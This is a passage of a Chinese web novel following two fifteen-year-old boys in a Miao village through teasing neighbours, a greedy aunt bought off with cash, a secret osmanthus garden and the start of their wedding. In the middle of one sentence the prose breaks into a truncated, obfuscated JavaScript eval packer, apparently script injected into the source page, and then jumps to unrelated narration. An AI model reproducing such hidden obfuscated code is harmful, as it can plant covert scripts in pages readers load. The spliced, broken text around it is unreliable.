小媳妇捂着嘴，眼里满是促狭的光：“你们看许祭哥哥头上的银蝶，配着他那身素褂，竟一点不违和！往后啊，咱们寨子里可就有两位‘主事’啦！” 旁边几个老人也捋着胡子笑，连连点头：“好啊好啊，郎有情意浓，这银蝶簪送得好！往后咱们寨子，定是和和美美，再无往日的冷寂了！” 议论声里满是戏谑的暖，连风都带着笑意，卷着桂花香，扑进院里，拂过两人相视而笑的眉眼。 院墙外忽然传来一声清脆的童声，正是方才跑进去送山楂的小丫头，她扒着门缝脆生生喊：“司南哥哥，那许祭哥哥是不是就是我的嫂嫂了呀？” 这话一出，满街的族人都忍不住哄堂大笑，议论声更热闹了。 “这小丫头嘴真甜！嫂嫂喊得可真顺口！”纳鞋底的阿婆笑得眼泪都快出来了，拍着大腿直乐。 “可不是嘛！这辈分一下子就明了了！”挑柴的汉子笑得直摆手，“往后咱们都得跟着喊一声许嫂嫂啦！” 小媳妇也笑得眉眼弯弯：“这孩子真是人小鬼大，一句话说到了点子上！你瞧院里那两位，脸都红透了吧！” 沈司南的耳根瞬间红得能滴血，偏过头去不敢看许祭的眼睛。许祭却低笑着揉了揉他的头发，抬手摸了摸发髻上的银蝶簪，对着院墙外扬声应道：“是啊，以后你可以喊我嫂嫂。” 沈司南被这话逗得笑出声，眼角眉梢的暖意漫得满眼都是，他侧过头看向院墙外的小丫头，声音里带着从未有过的轻快：“可以，我同意了，以后都听你嫂嫂的吧。” 这话落进满街族人的耳朵里，又是一阵震天响的哄笑。 “听见没听见没！祭师都认了！”挑柴的汉子笑得直拍大腿，嗓门亮得能传到寨子那头，“往后咱们寨子里，许祭就是正经的‘嫂嫂’啦！” 纳鞋底的阿婆笑得眯起了眼，手里的针线都差点拿不住：“这俩孩子，真是越看越登对！咱们等着喝喜酒就成！” 小丫头得了准话，高兴得在墙外蹦蹦跳跳，脆生生地喊：“好耶！我有嫂嫂啦！” 满街的议论声裹着笑声，像暖融融的风，卷着桂花的甜香，把整个寨子都浸得暖洋洋的。 竹椅被晒得暖烘烘的，沈司南挨着许祭的肩膀，鼻尖萦绕着桂花和柿饼混在一起的甜香。 “去年这个时候，你还在这儿跟我抢最后一块柿饼。”沈司南的声音很轻，带着点笑意，“那天绫司司还闹着要去掏野蜂巢，结果被蜇了好几个包，哭得直跺脚。” 许祭低头，看着两人交叠在竹桌上的手，指尖轻轻蹭了蹭沈司南的手背：“我记得，你还笑话她，转头就被她拿蜂巢砸了一身。” 沈司南的耳根微微泛红，伸手掐了掐许祭的胳膊：“明明是你先引的火，最后倒成了我的不是。” 许祭低笑出声，侧过身将人揽进怀里，下巴抵着他的发顶：“我走之后，你是不是天天来这桂花树下坐着？” 沈司南没说话，只是往他怀里缩了缩，指尖攥着他的衣角。 风掠过枝头，簌簌落下几朵细碎的桂花，落在两人的发间、肩头。许祭抬手，替他拂去发上的花瓣，声音温柔得像一汪春水：“以后，年年秋天，我都陪你晒柿饼，陪你等桂花开。” 沈司南抬起头，撞进他盛满笑意的眼眸里，嘴角弯起的弧度，比枝头的桂花还要甜。 日头渐渐爬到了头顶，寨子里的喧闹刚散了些，就听见寨门口传来一阵清脆的铜铃声，比沈司南先前那串铃铛的调子更亮些。 众人循声望去，就见一个穿着藕荷色短衫的姑娘站在石牌坊下，腰间系着同色的绣带，手里捏着个黄铜小铃，正踮着脚往寨子里瞧。她梳着双环髻，髻边簪着几朵晒干的粉菱花，眉眼灵动，嘴角噙着笑，看着就透着一股爽利劲儿。 “各位乡亲，叨扰啦！”姑娘扬声喊了一句，声音脆生生的，像山涧的泉水，“我叫樊粉菱，是来接苗寨任务的！” 这话一出，原本散了的族人又三三两两围了过去，脸上满是好奇。 “任务接受人？咱们寨子里好久没来新人了！”挑柴的汉子凑上前，上下打量着樊粉菱，眼里满是打量。 纳鞋底的阿婆也走了过来，拉着樊粉菱的手细细瞧着，笑着道：“姑娘看着面生得很，是从哪来的呀？” 樊粉菱大大方方地回着话，手里的铜铃一晃，又发出一阵叮当响：“从南边来的，听说咱们苗寨有不少有意思的任务，特地赶来的！” 院里的沈司南和许祭也听见了动静，两人对视一眼，沈司南挑眉：“新面孔。” 许祭握着手里的银蝶簪，眼底闪过一丝兴味，笑着道：“走，去瞧瞧。” 沈司南应了声，抬脚和许祭并肩往寨门口走。阳光把两人的影子拉得老长，许祭发髻上的银蝶簪一晃，亮得晃眼。 樊粉菱正被族人围着问东问西，见两人过来，眼睛倏地一亮，松开攥着铜铃的手，大大方方地冲他们拱手：“两位看着就是寨子里主事的吧？我叫樊粉菱，南边来的，专接各地寨子的疑难任务，听说你们这儿……” 她话没说完，就被绫司司咋咋呼呼的声音打断：“粉菱姐姐！你来得正好！咱们寨子现在有两位主事，这位是许祭嫂嫂，这位是他手下沈司南！” 这话一出，周围又是一阵哄笑。樊粉菱愣了愣，看看笑得眉眼弯弯的许祭，又看看耳根泛红却没反驳的沈司南，瞬间明白了什么，跟着笑起来：“原来是这样，那以后还请二位多多指教。” 许祭笑着点头，刚要开口，就见沈司南伸手拽了拽他的袖子，偏头凑到他耳边低声道：“任务的事，你定就好。” 樊粉菱看着两人旁若无人的模样，眼底的笑意更浓了，晃了晃手里的铜铃，清脆的声响落进风里：“那我就不客气啦！我这次来，是想接下后山……” 她的话还没说完，就被一阵叽叽喳喳的鸟鸣打断。抬头望去，几只喜鹊正落在石牌坊的檐角上，叫得格外欢快。阳光暖融融地洒下来，落在满街笑意盈盈的族人身上，落在樊粉菱手里的铜铃上，也落在沈司南和许祭相触的指尖上，整个苗寨都透着一股热闹又安稳的气息。 樊粉菱被喜鹊的叫声逗得弯了弯眼，清了清嗓子接着说：“我这次来，是想接下后山那片药田的打理任务。听说前些年没人照料，荒得厉害，我在南边学过几年草药，正能派上用场。” 这话一出，围观众人顿时交头接耳起来。 “后山药田啊，那可是块宝地，就是太偏了，没人愿意去。” “这姑娘看着年纪轻轻，倒懂草药？那可真是帮了大忙了！” 许祭听着，转头看向沈司南，眼底带着询问。沈司南没说话，只是对着他点了点头。 “这事我们应下了。”许祭笑着开口，声音温和却透着底气，“药田的农具和种子寨里都有，你要是缺什么，直接跟我说就行。” 樊粉菱眼睛一亮，立刻拱手道谢：“多谢二位主事！我保证，不出半年，定让后山药田长满好草药！” 一旁的绫司司凑过来，拽着樊粉菱的袖子好奇道：“粉菱姐姐，你会认多少种草药呀？能不能教我认几种？” “当然能。”樊粉菱笑着揉了揉她的脑袋，“等我把药田收拾出来，就带你去认，还能教你做草药香囊呢。” 沈司南看着眼前热闹的光景，嘴角的笑意一直没散。许祭察觉到他的目光，侧过头，伸手牵住他的手，指尖相扣。阳光落在两人交握的手上，落在樊粉菱晃动的铜铃上，落在满寨的欢声笑语里，日子就这么暖融融地，往长里走了。 樊粉菱跟着绫司司往药田走，脚下的石板路被阳光晒得发烫，她状似不经意地晃了晃手里的铜铃，开口时语气带着几分好奇：“司司，我瞧着许祭哥哥和沈司南哥哥的关系，好像不一般啊。” 绫司司闻言，眼睛一下子亮了，凑到她耳边压低声音：“那可不！他们俩最好了！去年许祭哥哥走了之后，沈司南哥哥天天板着脸，守着祭堂不出来，连笑都不会笑了，寨子里的人见了他都绕道走。” 樊粉菱挑了挑眉，故意追问：“哦？那许祭哥哥回来之后，怎么就不一样了？我瞧着沈司南哥哥，连权柄都交出去了呢。” “那是因为沈司南哥哥喜欢许祭哥哥呀！”绫司司的声音里满是雀跃，一点没察觉到自己说漏了嘴，“你没瞧见吗？沈司南哥哥把银蝶簪都给许祭哥哥戴上了，那可是他阿爹留下来的宝贝！寨子里的人都说，许祭哥哥是沈司南哥哥的压寨夫人呢！” 两人正说着，就见前头的田埂上，沈司南正帮许祭整理被风吹乱的衣襟，许祭低头笑着说了句什么，沈司南的耳根瞬间红透，抬手轻轻推了他一下。 樊粉菱看着这一幕，眼底闪过一丝了然的笑意，手里的铜铃轻轻一晃，发出细碎的声响：“原来如此，倒是一对有趣的人。” 她顿了顿，又拉住绫司司的手腕，声音放得更轻了些：“那他们俩，有没有说过什么时候……办喜事呀？” 绫司司正说得眉飞色舞，樊粉菱忽然抬手止住她的话头，眉眼间带着几分玩味的诧异：“等等，他们俩，今年才十五岁吧？” 这话一出，绫司司愣了愣，随即用力点头：“对啊！生辰都在秋天，再过俩月才满十六呢！” 樊粉菱闻言，忍不住低笑出声，手里的铜铃晃出一串清脆的响：“十五岁就把压寨夫人的名头定下来了，倒是比我见过的所有少年人都果敢。” 她抬眼望向田埂上那两道并肩而立的身影，沈司南正弯腰替许祭拂去衣角沾着的草屑，动作温柔得不像话，阳光落在他们相触的指尖，晃得人眼热。 “年岁小怎么了？”绫司司不服气地撅起嘴，梗着脖子道，“他们俩好得跟一个人似的，就算等个三五年再办喜事，那也是板上钉钉的事儿！” 樊粉菱挑了挑眉，没再接话，只是看着那两人的背影，眼底的笑意更浓了些。风掠过药田的荒草，卷起几声清脆的鸟鸣，也卷走了少女清脆的辩驳声，落在满是暖意的风里。 兰榙是个行动派，心里认准了这桩事，转头就忙活起来。 她先是翻出了沈司南阿爹留下的那匹藏青色织锦，那是早年走货的商队送来的，料子厚实，织着暗纹的缠枝莲，摸起来顺滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们看那边！”另一个眼尖的同窗忽然抬手，指向桂花树下的两道身影，“那不是沈司南和许祭吗？” 众人顺着他指的方向望去，就见沈司南正帮许祭理着被风吹乱的鬓发，许祭发髻上那只银蝶簪在阳光下亮得晃眼，两人相视而笑的模样，温柔得不像话，哪里还有半分在县城学堂里的清冷模样。 “沈司南这小子，往日里在县城学堂冷得像块冰，怎么现在笑得这么……”圆脸少年话没说完，就被同伴狠狠捅了捅胳膊。 穿蓝布衫的同窗恍然大悟，一拍大腿，压低声音道：“难怪！合着这满街的喜字，是为他们俩贴的！” “不是吧？”有人满脸错愕，“他们俩在县城上学时就走得近，我还以为只是普通同窗，这就要……” “你懂什么！”先前眼尖的少年撇撇嘴，语气里满是羡慕，“没瞧见沈司南看许祭的眼神吗？那叫一个上心，在县城学堂时，他可只帮许祭带过早饭！这喜事儿，定是板上钉钉了！” 议论声里，沈司南似是察觉到了他们的目光，抬眼望过来，嘴角勾着浅淡的笑意，竟没有半分往日在县城学堂的疏离。许祭也跟着转头，对着他们挥了挥手，眉眼弯弯的，格外亲和。 几个同窗愣了愣，随即都笑了起来，纷纷抬脚朝着桂花树下走去，满街的喜气，也跟着漫进了风里。 几个少年正凑着低声议论，人群后头忽然传来一声轻咦，是同来的女同窗，她拢了拢鬓边的碎发，蹙着眉梢，语气里满是错愕：“唉，他们不是两个男的吗？” 这话一出，周遭的议论声霎时静了一瞬，随即又低低地涌了起来。 圆脸少年回头看了她一眼，压低声音道：“这有什么要紧的？你没瞧见沈司南待许祭的样子？在县城学堂时，许祭咳嗽两声，他都要把自己的热汤递过去，比姑娘家还细心。” 穿蓝布衫的少年也跟着点头：“就是！苗寨的规矩本就和外头不一样，只要两人好，哪管什么男女。” 女同窗眨了眨眼，望向桂花树下相视而笑的两人，沈司南正抬手替许祭拂去发间的桂花，指尖带着小心翼翼的温柔。她愣了愣，忽然笑了，轻声道：“倒也是，这般模样，看着竟比寻常的才子佳人还要般配几分。” 寨子里的妇人们凑在溪边洗衣裳，手里的棒槌敲得噼里啪啦响，嘴里念叨的却都是沈司南和许祭的婚事。 “要说这俩孩子，打小就黏糊，我早瞧着不对劲了。”纳鞋底的阿婆拧干手里的青布，笑得满脸褶子，“当初许祭走了，司南那孩子跟丢了魂似的，如今人回来了，这喜事儿办得，我看比谁家都热闹。” 旁边捣衣的妇人跟着附和：“可不是嘛！兰榙那织锦都裁好了，听说还要用后山的野蜂蜜酿喜酒，这阵仗，咱们寨子里好些年没见过了。” 几个年轻媳妇蹲在一旁搓着衣裳，眉眼间满是促狭：“你们说，这喜酒喝了，许祭算不算咱们寨子里的人？往后是不是就该喊他许嫂嫂了？” 这话惹得众人一阵哄笑，笑声惊飞了溪边的水鸟。 田埂上，几个扛着锄头的汉子也在闲聊，挑柴的汉子叼着烟杆，吐出一圈白雾：“俩小子都是好样的，司南冷性子，许祭温和，正好互补。再说了，苗寨的规矩，从来都是两情相悦最重要，哪管什么男女。” 旁边的后生跟着点头：“是啊！许祭来了之后，寨子里的气氛都活络多了，司南也爱笑了，这比啥都强。” 阳光洒在苗寨的青瓦白墙上，满街的红喜字被风吹得猎猎作响，那些带着笑意的议论声，混着桂花香，飘得满寨都是。 39. 喜事 兰榙捧着裁好的藏青色织锦长衫和一件月白色的交领襦裙，脚步轻快地迈进院子，扬声喊：“司南，许祭，快试试新衣裳！” 沈司南和许祭正坐在竹椅上翻着旧学堂的课本，闻言皆是一愣。许祭先站起身，笑着接过兰榙手里的衣裳，指尖拂过织锦暗纹的缠枝莲，眼底漫着暖意。 两人躲进屋里换衣，不多时便并肩走了出来。沈司南穿的是那件月白色襦裙，料子轻盈，衬得他肤色愈发白皙，墨发松松挽着，鬓边还沾了片桂花，褪去了往日的清冷，添了几分温润。许祭身着藏青色长衫，肩宽腰窄，身形俊朗，发髻上的银蝶簪与长衫的暗纹相映，更显挺拔。 院墙外偷看的族人忍不住低低惊呼，兰榙更是看得眉开眼笑，伸手替沈司南理了理领口：“好看，真好看，这才是咱们寨子里最登对的模样。” 沈司南的耳根微微泛红，偏头看向身侧的许祭，撞进他含笑的眼眸里。许祭抬手，轻轻替他拂去鬓边的桂花，声音温柔得能淌出水来：“我家司南穿什么都好看。” 风卷着桂花香飘进院里，吹动两人的衣摆，红墙下的喜字在风里轻轻摇晃，满院都是藏不住的甜。 日头偏西的时候，寨门口忽然传来一阵嘈杂的叫骂声，打破了苗寨的宁静。 几个穿着短褂、挎着腰刀的外乡人堵在石牌坊下，为首的是个满脸横肉的汉子，唾沫星子横飞地喊：“你们这苗寨真是不成体统！两个男人成亲，简直是败坏风气！今天老子非要砸了你们的喜堂不可！” 这话一出，寨子里的族人瞬间围了上来，挑柴的汉子把烟杆往地上一磕，沉声道：“我们苗寨的规矩，轮不到你们外人指手画脚！两情相悦的事，碍着你们什么了？” 纳鞋底的阿婆也拄着拐杖上前，护在人群前头：“就是！司南和许祭都是好孩子，他们成亲，我们全寨人都乐意！你们再敢胡来，休怪我们不客气！” 外乡人被堵得说不出话，为首的汉子恼羞成怒，扬手就要掀翻院门口的红松木匣子。 屋里的沈司南听见动静，快步走了出来，月白色的襦裙衣角翻飞，脸上没了往日的笑意，眼神冷得像冰。许祭紧随其后，攥着那串青铜铃铛，轻轻一晃，清脆的铃声盖过了叫骂声。 “想闹事？”许祭的声音温和，却带着不容置疑的底气，“苗寨的地界，容不得你们撒野。要么滚，要么……” 他话没说完，就见沈司南往前站了一步，与他并肩而立，眼底的寒意更甚：“要么，就别怪我们不客气。” 外乡人被沈司南那冷冽的眼神一慑，顿时僵在原地，半晌不敢再吭声。等他们灰溜溜地走远了，围在寨门口的族人这才松了口气，随即低声议论起来。 “刚才那一下，可真是吓着我了。”一个年轻媳妇拍着胸口，脸上还带着后怕，“沈司南那眼神，跟去年他守着祭堂的时候一模一样，冷得人心里发慌。” 纳鞋底的阿婆也点了点头，叹了口气：“这孩子，平日里笑起来看着温和，可真要护着人了，那股子狠劲，还是跟以前一样吓人。” 挑柴的汉子叼着烟杆，瞥了眼站在门口的沈司南，咧嘴笑了：“吓人才好呢！不然阿猫阿狗都敢来咱们寨子里撒野！也就是他，能镇住那些外乡人。” 旁边几个后生跟着附和：“可不是嘛！别看许祭主事温和，有沈司南在一旁护着，谁也别想欺负咱们寨子！” 议论声轻轻飘进沈司南的耳朵里，他没吭声，只是往许祭身边靠了靠。许祭察觉到他的动作，伸手牵住他的手，指尖轻轻摩挲着他的手背，眼底满是笑意。 外乡人彻底走远后，寨子里的议论声没停，反而拐了个弯，飘出几分担忧来。 溪边洗衣的妇人们手里的棒槌慢了下来，一个年长的妇人叹了口气，声音压得低低的：“刚才司南那眼神，看着是镇住了外人，可也让我想起去年许祭走的时候了。他那个样子，跟丢了魂似的，守着祭堂不出来，谁劝都没用。” 旁边的媳妇跟着点头，手里的衣裳拧了一半就停住了：“是啊，这要是许祭再走一回，司南是不是又要变回那个冷冰冰的样子？到时候别说笑了，怕是连话都不肯多说一句。” 田埂上的汉子们也凑在一起嘀咕，挑柴的汉子磕了磕烟杆，眉头皱着：“许祭这孩子是好，可他毕竟是外头来的，谁知道以后会不会又因为什么事离开？真要是走了，司南这孩子，怕是又要钻牛角尖了。” 另一个后生接过话头，语气里带着点不确定：“应该不会吧？你看他们现在好成这样，连婚服都试了，许祭还拿着那串铃铛呢，怎么看都不像是要走的样子。” 议论声轻飘飘的，混着风掠过树梢的声响，飘向桂花树下那两道紧紧牵着的身影。 日头刚偏西，寨门口就传来一阵尖利的嚷嚷声，打破了苗寨的宁静。 众人循声望去，就见一个穿着花布短褂的妇人叉着腰站在石牌坊下，头发梳得油光水滑，脸上带着几分刻薄相，正是许祭的姑姑许涂。她一见围过来的族人，立马拔高了嗓门：“我那侄子许祭呢？叫他出来！如今攀上高枝了，就忘了自家人不成？” 许祭和沈司南闻声从院里走出来，许祭瞧见来人，眉头瞬间蹙了起来：“姑姑，你怎么来了？” 许涂上下打量着许祭身上的藏青色长衫，又瞥见他发髻上的银蝶簪，眼底闪过一丝贪婪，上前就要拽他的胳膊：“怎么？我还不能来了？你小子在这苗寨过得风生水起，又是主事又是要成亲，可别忘了，你爹娘走得早，是我拉扯你长大的！如今你要办喜事，怎么也得拿些银钱出来孝敬孝敬我吧？” 这话一出，周围的族人顿时窃窃私语起来。沈司南上前一步，将许祭护在身后，眼神冷得像冰：“我和许祭的婚事，与你无关。银钱更是没有。” 许涂被沈司南的眼神慑了一下，却很快又撒起泼来，一屁股坐在地上拍着大腿哭嚎：“没天理啊！侄子娶媳妇，姑姑来讨点喜钱都不给！这苗寨的人都是黑心肝啊！” 许涂的哭嚎声尖利刺耳，惹得寨子里的人眉头直皱。 人群里不知是谁先喊了一嗓子：“你说娶媳妇，也不看看媳妇是谁！” 这话像是点着了炮仗，周围的族人顿时跟着哄笑起来。挑柴的汉子把烟杆往地上一磕，扯着嗓门接话：“就是！谁娶谁还不一定呢！许祭现在可是咱们寨子里的‘许嫂嫂’，轮得到你在这里撒泼？” 纳鞋底的阿婆也拄着拐杖往前凑了凑，眯着眼打量许涂：“姑娘家家的嘴巴干净点！我们寨子里的喜事，哪轮得到外人指手画脚？你说是你拉扯许祭长大，我怎么没见你给他送过一碗热饭？” 许涂的哭声戛然而止，涨红了脸看着周围的人，嘴里还在强撑：“你们懂什么！他是我侄子，孝敬我是天经地义！” “孝敬也得看情分！”一个年轻媳妇抱着胳膊冷笑，“许祭在你家受了多少委屈，当我们不知道？现在看他过得好了，就跑来要钱，脸皮也太厚了！” 议论声此起彼伏，许涂被堵得哑口无言，只能恨恨地瞪着许祭和沈司南，半天说不出一句反驳的话。 沈司南的眉峰始终蹙着，看着许涂撒泼打滚的模样，眼底没半分温度。他忽然抬手止住身边族人的话头，转身回院里取了一沓用牛皮筋捆着的现金，径直走到许涂面前，将钱重重摔在她面前的青石板上。 “这是五万块，”他的声音冷得像淬了冰，一字一句都带着不容置疑的决绝，“拿着这笔钱，签了这份断绝关系的协议，从今往后，你和许祭再无半点关系。” 许涂的哭声猛地顿住，眼睛死死盯着地上的现金，指尖不受控制地颤抖起来。她顾不上拍掉身上的尘土，慌忙将钱捡起来揣进随身的布袋里，又抢过沈司南递来的协议，看都没看就签了名，嘴上却还硬撑着：“算、算你们识相！往后许祭的事，我……” 她的话没说完，就被沈司南的眼神逼了回去。那目光里的寒意，让她不敢再多说一个字，只能攥紧怀里的布袋，灰溜溜地转身挤出人群，头也不回地离开了苗寨。 许祭看着她的背影，轻轻叹了口气，转头看向沈司南。沈司南伸手握住他的手，指尖的凉意渐渐散去，语气软了几分：“别多想，往后有我。” 许涂攥着钱袋子仓皇离开的背影消失在石牌坊外，寨子里的议论声就嗡嗡地响了起来。 “乖乖，五万块啊，说拿就拿出来了，祭祀家果然是有钱！”溪边洗衣的妇人直起腰，啧啧称奇，手里的棒槌还悬在半空中。 挑柴的汉子把烟杆在鞋底磕了磕，咧嘴笑道：“那是自然，司南这孩子稳重，手里攒着不少家底呢，再说许祭现在是咱们寨里的主事，俩人过日子，还能差了钱？” “可不是嘛！”旁边一个年轻媳妇凑过来，眼里满是羡慕，“五万块说给就给，眼睛都不眨一下，就是为了让许祭彻底断了念想，这情意，可不是一般人能比的。” 纳鞋底的阿婆坐在桂花树下，慢悠悠地接话：“钱是小事，能让许祭往后安安稳稳过日子，不受那泼妇的叨扰，这才是正经事。” 议论声里，满是对沈司南干脆利落的赞许，风卷着红喜字的边角，把这些带着暖意的话，吹到了院子里相视而笑的两人耳边。 议论声渐渐落了，人群里不知是谁喊了一嗓子，声音清亮得很：“许祭！你还不知道吧？快跟着我们去瞧瞧，司南这一年等你的时候，都干了些啥！” 这话一出，周围的族人立马跟着起哄。挑柴的汉子放下烟杆，上前拍了拍许祭的肩膀：“走！保准让你看了心里暖和！” 许祭愣了愣，转头看向身边的沈司南。沈司南的耳根微微泛红，伸手想拽住他，却被几个年轻后生笑着拉开。 “别躲啊司南！”后生们嚷嚷着，“让许祭看看你那片心血，不然你这闷葫芦，怕是一辈子都不会说！” 众人簇拥着许祭往寨子后头走，沈司南无奈地笑了笑，也抬脚跟了上去。风里飘着桂花香，还混着众人的笑声，一路往山坳里去。 众人簇拥着许祭走到山坳，拨开半人高的野草，眼前的景象让许祭瞬间红了眼眶。 一片平整出来的空地，被竹篱笆圈得严严实实，里头整整齐齐种着十几株桂花树，树底下还围着一圈低矮的茶苗。篱笆门边，立着一块粗糙的木牌，上面用炭笔歪歪扭扭写着——祭南园。 “这是司南去年你走后弄的。”挑柴的汉子挠了挠头，笑着解释，“他说你喜欢桂花味的茶，天天天不亮就来开荒，手上磨破的茧子一层叠一层，劝都劝不住。” 纳鞋底的阿婆也凑过来，指着篱笆角的小木屋：“那屋里还堆着好些晒干的桂花，都是他一瓣一瓣捡的，说要等你回来，一起酿桂花酒、做桂花糕。” 许祭转头看向身后的沈司南，少年站在阳光里，耳根红得厉害，手指局促地绞着衣角，小声嘟囔：“本来想等成亲那天再给你看的……” 没等他说完，许祭就快步走过去，伸手抱住了他。风掠过树梢，带来阵阵桂花香，篱笆上的红布条随风飘动，和远处满寨的喜字，融成了一片温柔的红。 人群里的笑声就没断过，一波接着一波，混着风里的桂花香，在山坳里荡开。 挑柴的汉子把烟杆别在腰上，叉着腰笑得一脸爽朗，嗓门大得能惊飞树梢上的麻雀：“我就说嘛！沈司南这小子看着冷，心里头比谁都热乎！去年许祭刚走那会儿，这小子跟丢了魂似的，天天闷在屋里不吭声，后来忽然拎着锄头往山坳跑，我们还以为他是憋坏了要开荒种地，哪知道是憋着这么个大招！” 旁边几个扛着锄头的后生也跟着起哄，其中一个皮肤黝黑的后生挤眉弄眼道：“可不是！我那时候还撞见他半夜打着手电筒来这儿，蹲在桂花树下嘀咕呢！离得远了听不清，估摸着是在跟树念叨‘你快点长，等我家祭祭回来闻香’！” 这话逗得众人一阵哄笑，连纳鞋底的阿婆都笑得直拍大腿，手里的针线笸箩都晃悠了两下。阿婆喘着气，指着沈司南的方向，眼角的皱纹都挤成了一团：“这孩子，打小就闷葫芦一个，喜欢谁都藏在心里头。小时候许祭刚来寨子里，瘦得跟个豆芽菜似的，别的小孩欺负他，沈司南二话不说就冲上去护着，结果自己脸上挂了彩，还嘴硬说摔的。现在想想，那时候就有苗头了！” 溪边洗衣的妇人们也凑了过来，手里还攥着没拧干的衣裳，湿漉漉的水滴在青石板上，晕开一小片深色的痕迹。一个穿着碎花布衫的媳妇捂着嘴笑：“我还记得呢！去年秋天，沈司南托人去县城买了好些桂花树苗，回来的时候手都磨破了，愣是没吭一声。我们问他买这么多树苗干啥，他还红着脸说‘种着玩’，现在看来，哪里是种着玩，分明是种给心上人看的！” 另一个抱着孩子的妇人也跟着点头，怀里的娃娃被笑声逗得咯咯直笑，小手还抓着妇人的衣角。妇人拍着娃娃的背，笑着道：“还有呢！这一年来，沈司南天天往山坳跑，浇水、施肥、除草，比伺候自己都上心。有一回下大雨，他怕树苗被冲坏了，愣是披着蓑衣在雨里守了一夜，第二天早上回来的时候，浑身都湿透了，还傻乎乎地笑说‘树苗没事’。那时候我们还纳闷，现在可算明白了，这哪里是护着树苗，分明是护着自己的念想呢！” 人群里的议论声越来越热闹，你一言我一语，全是对沈司南和许祭的打趣和羡慕。几个年轻的姑娘躲在树后头，捂着嘴偷偷笑，眼神里满是向往。其中一个梳着辫子的姑娘小声道：“沈司南哥哥也太浪漫了吧！要是有人这么对我，我肯定立马答应嫁给他！” 旁边的姑娘推了她一把，笑着道：“你就别做梦了！沈司南哥哥的心都在许祭哥哥身上呢！没瞧见刚才许祭哥哥红了眼眶的样子吗？那叫一个感动！我看啊，这俩人往后的日子，肯定甜得跟蜜似的！” 纳鞋底的阿婆听着姑娘们的话，笑眯眯地点头：“那是自然！这俩孩子，一个冷一个暖，正好互补。许祭这孩子心善，又懂事，来了咱们寨子里之后，帮着大家伙儿做了不少事，谁不喜欢他？沈司南这孩子虽然话少，但对许祭的心思，咱们全寨人都看在眼里。往后他们成了亲，肯定是寨子里最登对的一对！” 挑柴的汉子也跟着附和，伸手拍了拍沈司南的肩膀，笑得一脸豪迈：“司南啊！你小子可以啊！藏得够深的！要不是今天大家伙儿把许祭拉过来，你是不是打算一直瞒着？” 沈司南的耳根早就红透了，被汉子这么一拍，更是连脖子都红了，他伸手挠了挠头，眼神不自觉地飘向许祭，声音低得像蚊子哼：“本来……本来想等成亲那天再给他惊喜的……” 这话又惹得众人一阵哄笑，许祭的脸也红了，他伸手轻轻掐了一下沈司南的胳膊，眼底却满是笑意。人群里的笑声更盛了，连山坳里的桂花树苗都像是被感染了似的，轻轻摇晃着枝叶，沙沙作响。 一个年长的老者捋着胡子，慢悠悠地开口，声音里满是欣慰：“想当年，沈司南的阿爹阿娘也是这样，情投意合，相濡以沫。如今沈司南和许祭，也是这般模样，真是应了那句老话，有情人终成眷属啊！咱们苗寨的规矩，向来是两情相悦最重要，管他什么世俗眼光！只要这俩孩子过得好，咱们全寨人都替他们高兴！” 老者的话得到了众人的一致认同，大家纷纷点头，脸上的笑容愈发灿烂。几个后生更是起哄道：“说得对！咱们苗寨就是要这样！谁要是再敢来捣乱，咱们全寨人一起把他赶出去！” “对！护着咱们的‘许嫂嫂’和沈司南！” “等成亲那天，咱们一定要喝个痛快！” “还要闹洞房呢！可不能让他们俩轻易过关！” 笑声、议论声、起哄声交织在一起，在山坳里久久回荡。阳光透过树叶的缝隙，洒下斑驳的光影，落在相拥的两人身上，落在写着“祭南园”的木牌上，落在每一株生机勃勃的桂花树苗上。 风轻轻吹过，带来了桂花的清香，也带来了满寨的喜气。纳鞋底的阿婆看着眼前的景象，忍不住又笑了起来，嘴里念叨着：“真好啊……真好啊……” 旁边的妇人也跟着点头，眼里满是笑意：“是啊！真好！这日子，就该这么热热闹闹，甜甜蜜蜜的！” 人群里的议论声还在继续，没有半分要停下来的意思。大家你一言我一语，说着沈司南和许祭的过往，说着对他们未来的祝福，每一句话里，都透着浓浓的暖意。 沈司南和许祭站在人群中央，相视而笑，眼里只有彼此。阳光正好，微风不燥，桂花飘香，岁月静好。 这世间最好的光景，大抵就是这般模样了。 晨雾还没散尽，苗寨的青石板路就被红灯笼映得通红。 唢呐声从寨口一路吹到桂花树下的喜堂，锣鼓敲得震天响，惹得树上的雀鸟扑棱棱飞起来。兰榙穿着簇新的藏蓝褂子，忙着招呼前来道贺的人，脸上的笑就没停过。纳鞋底的阿婆们坐在竹凳上，手里攥着红绳，见人就往手腕上系，嘴里念叨着吉祥话。 沈司南和许祭并肩站在喜堂前，身上穿着量身定做的礼服。沈司南的月白色西装衬得他身姿挺拔，领口别着一朵桂花；许祭的藏青色西装笔挺合身，发髻上的银蝶簪在晨光里闪着光。两人的手紧紧牵着，指尖相触的地方，烫得像是要烧起来。 挑柴的汉子扯着嗓子喊了一声：“吉时到——拜堂咯——” 这话一出，唢呐声更响了，围在喜堂外的族人瞬间沸腾起来，掌声和欢呼声混在一起，震得人耳朵发颤。几个年轻后生挤在前头，起哄着喊：“拜天地！拜天地！” 风卷着桂花香飘过来，落在两人相牵的手上，落在喜堂正中那幅红底金字的“囍”字上。阳光穿透薄雾，洒在苗寨的每一个角落，满街的红，满寨的笑，都在等着这场属于他们的，最热闹的婚礼。 挑柴的汉子嗓门洪亮，一声“拜天地”喊得满寨皆知。 沈司南和许祭相视一笑，眼底的温柔快要溢出来。两人并肩而立，对着天地的方向深深鞠躬。风卷着红绸子的边角翻飞，带着桂花香的风掠过喜堂，吹得两人的西装衣角轻轻晃动。 “二拜高堂——” 兰榙被众人推到主位上，眼眶红得厉害，却硬是笑着摆手：“拜啥高堂，我就是个凑数的！”话虽这么说，却还是认认真真受了两人的礼，转身偷偷抹了把眼泪，又忙着把早就准备好的红包塞到两人手里。 “夫妻对拜——” 这一声喊落，满寨的起哄声差点掀翻屋顶。沈司南耳根通红，却还是抬眼望着许祭，慢慢弯下腰去。许祭也笑着躬身，两人的额头轻轻碰在一起，惹得围观的族人又是一阵哄笑。 